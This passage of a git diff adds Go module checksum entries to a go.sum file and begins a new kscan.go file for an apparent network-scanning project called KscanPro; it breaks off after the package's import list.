+github.com/gobuffalo/envy v1.6.15/go.mod h1:n7DRkBerg/aorDM8kbduw5dN3oXGswK5liaSCx4T5NI=
+github.com/gobuffalo/envy v1.7.0/go.mod h1:n7DRkBerg/aorDM8kbduw5dN3oXGswK5liaSCx4T5NI=
+github.com/gobuffalo/flect v0.1.0/go.mod h1:d2ehjJqGOH/Kjqcoz+F7jHTBbmDb38yXA598Hb50EGs=
+github.com/gobuffalo/flect v0.1.1/go.mod h1:8JCgGVbRjJhVgD6399mQr4fx5rRfGKVzFjbj6RE/9UI=
+github.com/gobuffalo/flect v0.1.3/go.mod h1:8JCgGVbRjJhVgD6399mQr4fx5rRfGKVzFjbj6RE/9UI=
+github.com/gobuffalo/genny v0.0.0-20190329151137-27723ad26ef9/go.mod h1:rWs4Z12d1Zbf19rlsn0nurr75KqhYp52EAGGxTbBhNk=
+github.com/gobuffalo/genny v0.0.0-20190403191548-3ca520ef0d9e/go.mod h1:80lIj3kVJWwOrXWWMRzzdhW3DsrdjILVil/SFKBzF28=
+github.com/gobuffalo/genny v0.1.0/go.mod h1:XidbUqzak3lHdS//TPu2OgiFB+51Ur5f7CSnXZ/JDvo=
+github.com/gobuffalo/genny v0.1.1/go.mod h1:5TExbEyY48pfunL4QSXxlDOmdsD44RRq4mVZ0Ex28Xk=
+github.com/gobuffalo/gitgen v0.0.0-20190315122116-cc086187d211/go.mod h1:vEHJk/E9DmhejeLeNt7UVvlSGv3ziL+djtTr3yyzcOw=
+github.com/gobuffalo/gogen v0.0.0-20190315121717-8f38393713f5/go.mod h1:V9QVDIxsgKNZs6L2IYiGR8datgMhB577vzTDqypH360=
+github.com/gobuffalo/gogen v0.1.0/go.mod h1:8NTelM5qd8RZ15VjQTFkAW6qOMx5wBbW4dSCS3BY8gg=
+github.com/gobuffalo/gogen v0.1.1/go.mod h1:y8iBtmHmGc4qa3urIyo1shvOD8JftTtfcKi+71xfDNE=
+github.com/gobuffalo/logger v0.0.0-20190315122211-86e12af44bc2/go.mod h1:QdxcLw541hSGtBnhUc4gaNIXRjiDppFGaDqzbrBd3v8=
+github.com/gobuffalo/mapi v1.0.1/go.mod h1:4VAGh89y6rVOvm5A8fKFxYG+wIW6LO1FMTG9hnKStFc=
+github.com/gobuffalo/mapi v1.0.2/go.mod h1:4VAGh89y6rVOvm5A8fKFxYG+wIW6LO1FMTG9hnKStFc=
+github.com/gobuffalo/packd v0.0.0-20190315124812-a385830c7fc0/go.mod h1:M2Juc+hhDXf/PnmBANFCqx4DM3wRbgDvnVWeG2RIxq4=
+github.com/gobuffalo/packd v0.1.0/go.mod h1:M2Juc+hhDXf/PnmBANFCqx4DM3wRbgDvnVWeG2RIxq4=
+github.com/gobuffalo/packr/v2 v2.0.9/go.mod h1:emmyGweYTm6Kdper+iywB6YK5YzuKchGtJQZ0Odn4pQ=
+github.com/gobuffalo/packr/v2 v2.2.0/go.mod h1:CaAwI0GPIAv+5wKLtv8Afwl+Cm78K/I/VCm/3ptBN+0=
+github.com/gobuffalo/syncx v0.0.0-20190224160051-33c29581e754/go.mod h1:HhnNqWY95UYwwW3uSASeV7vtgYkT2t16hJgV3AEPUpw=
+github.com/golang-sql/civil v0.0.0-20190719163853-cb61b32ac6fe h1:lXe2qZdvpiX5WZkZR4hgp4KJVfY3nMkvmwbVkpv1rVY=
+github.com/golang-sql/civil v0.0.0-20190719163853-cb61b32ac6fe/go.mod h1:8vg3r2VgvsThLBIFL93Qb5yWzgyZWhEmBwUJWevAkK0=
+github.com/golang/snappy v0.0.1 h1:Qgr9rKW7uDUkrbSmQeiDsGa8SjGyCOGtuasMWwvp2P4=
+github.com/golang/snappy v0.0.1/go.mod h1:/XxbfmMg8lxefKM7IXC3fBNl/7bRcc72aCRzEWrmP2Q=
+github.com/google/cel-go v0.20.1 h1:nDx9r8S3L4pE61eDdt8igGj8rf5kjYR3ILxWIpWNi84=
+github.com/google/cel-go v0.20.1/go.mod h1:kWcIzTsPX0zmQ+H3TirHstLLf9ep5QTsZBN9u4dOYLg=
+github.com/google/go-cmp v0.5.2/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
+github.com/google/go-cmp v0.5.9 h1:O2Tfq5qg4qc4AmwVlvv0oLiVAGB7enBSJ2x2DqQFi38=
+github.com/google/go-cmp v0.5.9/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY=
+github.com/gookit/color v1.5.4 h1:FZmqs7XOyGgCAxmWyPslpiok1k05wmY3SJTytgvYFs0=
+github.com/gookit/color v1.5.4/go.mod h1:pZJOeOS8DM43rXbp4AZo1n9zCU2qjpcRko0b6/QJi9w=
+github.com/hashicorp/errwrap v1.0.0 h1:hLrqtEDnRye3+sgx6z4qVLNuviH3MR5aQ0ykNJa/UYA=
+github.com/hashicorp/errwrap v1.0.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4=
+github.com/hashicorp/go-multierror v1.1.1 h1:H5DkEtf6CXdFp0N0Em5UCwQpXMWke8IA0+lD48awMYo=
+github.com/hashicorp/go-multierror v1.1.1/go.mod h1:iw975J/qwKPdAO1clOe2L8331t/9/fmwbPZ6JB6eMoM=
+github.com/huin/asn1ber v0.0.0-20120622192748-af09f62e6358 h1:hVXNJ57IHkOA8FBq80UG263MEBwNUMfS9c82J2QE5UQ=
+github.com/huin/asn1ber v0.0.0-20120622192748-af09f62e6358/go.mod h1:qBE210J2T9uLXRB3GNc73SvZACDEFAmDCOlDkV47zbY=
+github.com/icodeface/tls v0.0.0-20190904083142-17aec93c60e5 h1:ZcsPFW8UgACapqjcrBJx0PuyT4ppArO5VFn0vgnkvmc=
+github.com/icodeface/tls v0.0.0-20190904083142-17aec93c60e5/go.mod h1:VJNHW2GxCtQP/IQtXykBIPBV8maPJ/dHWirVTwm9GwY=
+github.com/inconshreveable/mousetrap v1.0.0/go.mod h1:PxqpIevigyE2G7u3NXJIT2ANytuPF1OarO4DADm73n8=
+github.com/jlaffaye/ftp v0.0.0-20220630165035-11536801d1ff h1:tN6UCYCBFNrPwvKf4RP9cIhGo6GcZ/IQTN8nqD7eCok=
+github.com/jlaffaye/ftp v0.0.0-20220630165035-11536801d1ff/go.mod h1:hhq4G4crv+nW2qXtNYcuzLeOudG92Ps37HEKeg2e3lE=
+github.com/joho/godotenv v1.3.0/go.mod h1:7hK45KPybAkOC6peb+G5yklZfMxEjkZhHbwpqxOKXbg=
+github.com/karrick/godirwalk v1.8.0/go.mod h1:H5KPZjojv4lE+QYImBI8xVtrBRgYrIVsaRPx4tDPEn4=
+github.com/karrick/godirwalk v1.10.3/go.mod h1:RoGL9dQei4vP9ilrpETWE8CLOZ1kiN0LhBygSwrAsHA=
+github.com/klauspost/compress v1.9.5 h1:U+CaK85mrNNb4k8BNOfgJtJ/gr6kswUCFj6miSzVC6M=
+github.com/klauspost/compress v1.9.5/go.mod h1:RyIbtBH6LamlWaDj8nUwkbUhJ87Yi3uG0guNDohfE1A=
+github.com/konsorten/go-windows-terminal-sequences v1.0.1/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ=
+github.com/konsorten/go-windows-terminal-sequences v1.0.2/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ=
+github.com/kr/pretty v0.1.0 h1:L/CwN0zerZDmRFUapSPitk6f+Q3+0za1rQkzVuMiMFI=
+github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo=
+github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ=
+github.com/kr/text v0.1.0 h1:45sCR5RtlFHMR4UwH9sdQ5TC8v0qDQCHnXt+kaKSTVE=
+github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI=
+github.com/lcvvvv/appfinger v0.1.1 h1:EK45kHrVJ5Zu/mj8+HYibHjakLNo7jAcDK9GmT31P90=
+github.com/lcvvvv/appfinger v0.1.1/go.mod h1:dOXXroHZ7tAYvghqs19MICwzIL6YPpqlJVmL/RDR4Qo=
+github.com/lcvvvv/gonmap v1.3.4 h1:cNCYMw4Fp6wPbCQ0AqWeYzfPMKK4hKgGK4rUt5aHt04=
+github.com/lcvvvv/gonmap v1.3.4/go.mod h1:o6WN1/O/UXRiy+ss9Ijpt++wQG82xKFahirFCVIXJe8=
+github.com/lcvvvv/simplehttp v0.1.1 h1:B8hvtOrLiiCTbZbUT6x0J3W47/MYAYcWiRzU4n8bXno=
+github.com/lcvvvv/simplehttp v0.1.1/go.mod h1:PqcjqmzFHnhXhRf+Sc2JLdxBk4MIOeOWbpyRZ+dCBSE=
+github.com/lcvvvv/stdio v0.1.2 h1:TPqRRvQOWFCSNGFvWUaOPBUldP4vrN7hpeWI+3JLY04=
+github.com/lcvvvv/stdio v0.1.2/go.mod h1:iaPzDhiqbl49vO/+0LG8QRoEznn6r96uCEF0tKDuDNE=
+github.com/lib/pq v1.10.2 h1:AqzbZs4ZoCBp+GtejcpCpcxM3zlSMx29dXbUSeVtJb8=
+github.com/lib/pq v1.10.2/go.mod h1:AlVN5x4E4T544tWzH6hKfbfQvm3HdbOxrmggDNAPY9o=
+github.com/lunixbochs/struc v0.0.0-20200707160740-784aaebc1d40 h1:EnfXoSqDfSNJv0VBNqY/88RNnhSGYkrHaO0mmFGbVsc=
+github.com/lunixbochs/struc v0.0.0-20200707160740-784aaebc1d40/go.mod h1:vy1vK6wD6j7xX6O6hXe621WabdtNkou2h7uRtTfRMyg=
+github.com/markbates/oncer v0.0.0-20181203154359-bf2de49a0be2/go.mod h1:Ld9puTsIW75CHf65OeIOkyKbteujpZVXDpWK6YGZbxE=
+github.com/markbates/safe v1.0.1/go.mod h1:nAqgmRi7cY2nqMc92/bSEeQA+R4OheNU2T1kNSCBdG0=
+github.com/miekg/dns v1.1.50 h1:DQUfb9uc6smULcREF09Uc+/Gd46YWqJd5DbpPE9xkcA=
+github.com/miekg/dns v1.1.50/go.mod h1:e3IlAVfNqAllflbibAZEWOXOQ+Ynzk/dDozDxY7XnME=
+github.com/montanaflynn/stats v0.0.0-20171201202039-1bf9dbcd8cbe/go.mod h1:wL8QJuTMNUDYhXwkmfOly8iTdp5TEcJFWZD2D7SIkUc=
+github.com/pelletier/go-toml v1.7.0/go.mod h1:vwGMzjaWMwyfHwgIBhI2YUM4fB6nL6lVAvS1LBMMhTE=
+github.com/pkg/errors v0.8.0/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
+github.com/pkg/errors v0.8.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
+github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4=
+github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
+github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
+github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
+github.com/rogpeppe/go-internal v1.1.0/go.mod h1:M8bDsm7K2OlrFYOpmOWEs/qY81heoFRclV5y23lUDJ4=
+github.com/rogpeppe/go-internal v1.2.2/go.mod h1:M8bDsm7K2OlrFYOpmOWEs/qY81heoFRclV5y23lUDJ4=
+github.com/rogpeppe/go-internal v1.3.0/go.mod h1:M8bDsm7K2OlrFYOpmOWEs/qY81heoFRclV5y23lUDJ4=
+github.com/satori/go.uuid v1.2.0 h1:0uYX9dsZ2yD7q2RtLRtPSdGDWzjeM3TbMJP9utgA0ww=
+github.com/satori/go.uuid v1.2.0/go.mod h1:dA0hQrYB0VpLJoorglMZABFdXlWrHn1NEOzdhQKdks0=
+github.com/sijms/go-ora/v2 v2.2.15 h1:GJfudyOHT+DUgBPvS2wP/8lgmuer3OKfha8C0xnThW8=
+github.com/sijms/go-ora/v2 v2.2.15/go.mod h1:jzfAFD+4CXHE+LjGWFl6cPrtiIpQVxakI2gvrMF2w6Y=
+github.com/sirupsen/logrus v1.4.0/go.mod h1:LxeOpSwHxABJmUn/MG1IvRgCAasNZTLOkJPxbbu5VWo=
+github.com/sirupsen/logrus v1.4.1/go.mod h1:ni0Sbl8bgC9z8RoU9G6nDWqqs/fq4eDPysMBDgk/93Q=
+github.com/sirupsen/logrus v1.4.2/go.mod h1:tLMulIdttU9McNUspp0xgXVQah82FyeX6MwdIuYE2rE=
+github.com/spf13/cobra v0.0.3/go.mod h1:1l0Ry5zgKvJasoi3XT1TypsSe7PqH0Sj9dhYf7v3XqQ=
+github.com/spf13/pflag v1.0.3/go.mod h1:DYY7MBk1bdzusC3SYhjObp+wFpr4gzcvqqNjLnInEg4=
+github.com/stacktitan/smb v0.0.0-20190531122847-da9a425dceb8 h1:GVFkBBJAEO3CpzIYcDDBdpUObzKwVW9okNWcLYL/nnU=
+github.com/stacktitan/smb v0.0.0-20190531122847-da9a425dceb8/go.mod h1:phLSETqH/UJsBtwDVBxSfJKwwkbJcGyy2Q/h4k+bmww=
+github.com/stoewer/go-strcase v1.2.0 h1:Z2iHWqGXH00XYgqDmNgQbIBxf3wrNq0F3feEy0ainaU=
+github.com/stoewer/go-strcase v1.2.0/go.mod h1:IBiWB2sKIp3wVVQ3Y035++gc+knqhUQag1KpM8ahLw8=
+github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
+github.com/stretchr/objx v0.1.1/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
+github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs=
+github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI=
+github.com/stretchr/testify v1.5.1/go.mod h1:5W2xD1RspED5o8YsWQXVCued0rvSQ+mT+I5cxcmMvtA=
+github.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
+github.com/stretchr/testify v1.8.4 h1:CcVxjf3Q8PM0mHUKJCdn+eZZtm5yQwehR5yeSVQQcUk=
+github.com/stretchr/testify v1.8.4/go.mod h1:sz/lmYIOXD/1dqDmKjjqLyZ2RngseejIcXlSw2iwfAo=
+github.com/tidwall/pretty v1.0.0 h1:HsD+QiTn7sK6flMKIvNmpqz1qrpP3Ps6jOKIKMooyg4=
+github.com/tidwall/pretty v1.0.0/go.mod h1:XNkn88O1ChpSDQmQeStsy+sBenx6DDtFZJxhVysOjyk=
+github.com/twmb/murmur3 v1.1.6 h1:mqrRot1BRxm+Yct+vavLMou2/iJt0tNVTTC0QoIjaZg=
+github.com/twmb/murmur3 v1.1.6/go.mod h1:Qq/R7NUyOfr65zD+6Q5IHKsJLwP7exErjN6lyyq3OSQ=
+github.com/xdg-go/pbkdf2 v1.0.0 h1:Su7DPu48wXMwC3bs7MCNG+z4FhcyEuz5dlvchbq0B0c=
+github.com/xdg-go/pbkdf2 v1.0.0/go.mod h1:jrpuAogTd400dnrH08LKmI/xc1MbPOebTwRqcT5RDeI=
+github.com/xdg-go/scram v1.0.2 h1:akYIkZ28e6A96dkWNJQu3nmCzH3YfwMPQExUYDaRv7w=
+github.com/xdg-go/scram v1.0.2/go.mod h1:1WAq6h33pAW+iRreB34OORO2Nf7qel3VV3fjBj+hCSs=
+github.com/xdg-go/stringprep v1.0.2 h1:6iq84/ryjjeRmMJwxutI51F2GIPlP5BfTvXHeYjyhBc=
+github.com/xdg-go/stringprep v1.0.2/go.mod h1:8F9zXuvzgwmyT5DUm4GUfZGDdT3W+LCvS6+da4O5kxM=
+github.com/xo/terminfo v0.0.0-20210125001918-ca9a967f8778 h1:QldyIu/L63oPpyvQmHgvgickp1Yw510KJOqX7H24mg8=
+github.com/xo/terminfo v0.0.0-20210125001918-ca9a967f8778/go.mod h1:2MuV+tbUrU1zIOPMxZ5EncGwgmMJsa+9ucAQZXxsObs=
+github.com/youmark/pkcs8 v0.0.0-20181117223130-1be2e3e5546d h1:splanxYIlg+5LfHAM6xpdFEAYOk8iySO56hMFq6uLyA=
+github.com/youmark/pkcs8 v0.0.0-20181117223130-1be2e3e5546d/go.mod h1:rHwXgn7JulP+udvsHwJoVG1YGAP6VLg4y9I5dyZdqmA=
+github.com/yuin/goldmark v1.3.5/go.mod h1:mwnBkeHKe2W/ZEtQ+71ViKU8L12m81fl3OWwC1Zlc8k=
+go.mongodb.org/mongo-driver v1.7.1 h1:jwqTeEM3x6L9xDXrCxN0Hbg7vdGfPBOTIkr0+/LYZDA=
+go.mongodb.org/mongo-driver v1.7.1/go.mod h1:Q4oFMbo1+MSNqICAdYMlC/zSTrwCogR4R8NzkI+yfU8=
+golang.org/x/crypto v0.0.0-20180904163835-0709b304e793/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4=
+golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
+golang.org/x/crypto v0.0.0-20190325154230-a5d413f7728c/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
+golang.org/x/crypto v0.0.0-20190422162423-af44ce270edf/go.mod h1:WFFai1msRO1wXaEeE5yQxYXgSfI8pQAWXbQop6sCtWE=
+golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
+golang.org/x/crypto v0.0.0-20200302210943-78000ba7a073/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
+golang.org/x/crypto v0.18.0 h1:PGVlW0xEltQnzFZ55hkuX5+KLyrMYhHld1YHO4AKcdc=
+golang.org/x/crypto v0.18.0/go.mod h1:R0j02AL6hcrfOiy9T4ZYp/rcWeMxM3L6QYxlOuEG1mg=
+golang.org/x/exp v0.0.0-20230515195305-f3d0a9c9a5cc h1:mCRnTeVUjcrhlRmO0VK8a6k6Rrf6TF9htwo2pJVSjIU=
+golang.org/x/exp v0.0.0-20230515195305-f3d0a9c9a5cc/go.mod h1:V1LtkGg67GoY2N1AnLN78QLrzxkLyJw7RJb1gzOOz9w=
+golang.org/x/mod v0.4.2/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
+golang.org/x/mod v0.8.0 h1:LUYupSeNrTNCGzR/hVBk2NHZO4hXcVaW1k4Qx7rjPx8=
+golang.org/x/mod v0.8.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs=
+golang.org/x/net v0.0.0-20190311183353-d8887717615a/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
+golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
+golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
+golang.org/x/net v0.0.0-20210405180319-a5a99cb37ef4/go.mod h1:p54w0d4576C0XHj96bSt6lcn1PtDYWL6XObtHCRCNQM=
+golang.org/x/net v0.0.0-20210726213435-c6fcb2dbf985/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
+golang.org/x/net v0.0.0-20210916014120-12bc252f5db8/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
+golang.org/x/net v0.20.0 h1:aCL9BSgETF1k+blQaYUBx9hJ9LOGP3gAVemcZlf1Kpo=
+golang.org/x/net v0.20.0/go.mod h1:z8BVo6PvndSri0LbOE3hAn0apkU+1YvI6E70E9jsnvY=
+golang.org/x/sync v0.0.0-20190227155943-e225da77a7e6/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
+golang.org/x/sync v0.0.0-20190412183630-56d357773e84/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
+golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
+golang.org/x/sync v0.0.0-20190911185100-cd5d95a43a6e/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
+golang.org/x/sync v0.0.0-20210220032951-036812b2e83c/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
+golang.org/x/sync v0.1.0 h1:wsuoTGHzEhffawBOhz5CYhcrV4IdKZbEyZjBMuTp12o=
+golang.org/x/sync v0.1.0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
+golang.org/x/sys v0.0.0-20180905080454-ebe1bf3edb33/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
+golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
+golang.org/x/sys v0.0.0-20190403152447-81d4e9dc473e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.0.0-20190419153524-e8e3143a4f4a/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.0.0-20190422165155-953cdadca894/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.0.0-20190531175056-4c3a928424d2/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.0.0-20210330210617-4fbd30eecc44/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.0.0-20210510120138-977fb7262007/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
+golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
+golang.org/x/sys v0.16.0 h1:xWw16ngr6ZMtmxDyKyIgsE93KNKz5HKmMa3b8ALHidU=
+golang.org/x/sys v0.16.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
+golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
+golang.org/x/term v0.16.0 h1:m+B6fahuftsE9qjo0VWp2FW0mB3MTJvR0BaMQrq0pmE=
+golang.org/x/term v0.16.0/go.mod h1:yn7UURbUtPyrVJPGPq404EukNFxcm/foM+bV/bfcDsY=
+golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
+golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
+golang.org/x/text v0.3.5/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
+golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
+golang.org/x/text v0.14.0 h1:ScX5w1eTa3QqT8oi6+ziP7dTV1S2+ALU0bI+0zXKWiQ=
+golang.org/x/text v0.14.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU=
+golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
+golang.org/x/tools v0.0.0-20190329151228-23e29df326fe/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs=
+golang.org/x/tools v0.0.0-20190416151739-9c9e1878f421/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs=
+golang.org/x/tools v0.0.0-20190420181800-aa740d480789/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs=
+golang.org/x/tools v0.0.0-20190531172133-b3315ee88b7d/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc=
+golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
+golang.org/x/tools v0.1.6-0.20210726203631-07bc1bf47fb2/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk=
+golang.org/x/tools v0.6.0 h1:BOw41kyTf3PuCW1pVQf8+Cyg8pMlkYB1oo9iJ6D/lKM=
+golang.org/x/tools v0.6.0/go.mod h1:Xwgl3UAJ/d3gWutnCtw505GrjyAbvKui8lOU390QaIU=
+golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
+golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
+golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
+golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
+google.golang.org/genproto/googleapis/api v0.0.0-20240318140521-94a12d6c2237 h1:RFiFrvy37/mpSpdySBDrUdipW/dHwsRwh3J3+A9VgT4=
+google.golang.org/genproto/googleapis/api v0.0.0-20240318140521-94a12d6c2237/go.mod h1:Z5Iiy3jtmioajWHDGFk7CeugTyHtPvMHA4UTmUkyalE=
+google.golang.org/genproto/googleapis/rpc v0.0.0-20240314234333-6e1732d8331c h1:lfpJ/2rWPa/kJgxyyXM8PrNnfCzcmxJ265mADgwmvLI=
+google.golang.org/genproto/googleapis/rpc v0.0.0-20240314234333-6e1732d8331c/go.mod h1:WtryC6hu0hhx87FDGxWCDptyssuo68sk10vYjF+T9fY=
+google.golang.org/protobuf v1.33.0 h1:uNO2rsAINq/JlFpSdYEKIZ0uKD/R9cpdv0T+yoGwGmI=
+google.golang.org/protobuf v1.33.0/go.mod h1:c6P6GXX6sHbq/GpV6MGZEdwhWPcYBgnhAHhKbcUYpos=
+gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
+gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127 h1:qIbj1fsPNlZgppZ+VLlY7N33q108Sa+fhmuc+sWQYwY=
+gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
+gopkg.in/errgo.v2 v2.1.0/go.mod h1:hNsd1EY+bozCKY1Ytp96fpM3vjJbqLJn88ws8XvfDNI=
+gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
+gopkg.in/yaml.v2 v2.2.8 h1:obN1ZagJSUGI0Ek/LBmuj4SNLPfIny3KsKFopxRdj10=
+gopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
+gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
+gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
+gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
diff --git a/kscan.go b/kscan.go
new file mode 100644
index 0000000..b94458f
--- /dev/null
+++ b/kscan.go
@@ -0,0 +1,276 @@
+package main
+
+import (
+ "KscanPro/app"
+ "KscanPro/core/cdn"
+ "KscanPro/core/fofa"
+ "KscanPro/core/hydra"
+ "KscanPro/core/pocScan/lib"
